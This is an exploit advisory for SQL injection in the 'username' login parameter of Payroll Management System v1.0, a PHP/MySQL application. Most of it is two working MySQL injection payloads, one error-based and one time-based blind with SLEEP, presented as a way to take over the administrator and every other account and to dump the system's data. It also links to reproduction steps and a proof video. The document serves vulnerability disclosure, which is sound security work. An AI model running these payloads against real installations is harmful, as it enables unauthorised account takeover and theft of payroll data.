Exploit/Advisories

## Title: Payroll Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 04.03.2022
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System

## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=qkdmZlGW' AND (SELECT 3371 FROM(SELECT
COUNT(*),CONCAT(0x716b707871,(SELECT
(ELT(3371=3371,1))),0x717a7a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VIhP&password=s0N!s2u!A6'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=qkdmZlGW' AND (SELECT 9476 FROM
(SELECT(SLEEP(5)))NodP)-- Xiww&password=s0N!s2u!A6'
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System)

## Proof and Exploit:
[href](https://streamable.com/aj8bcv)

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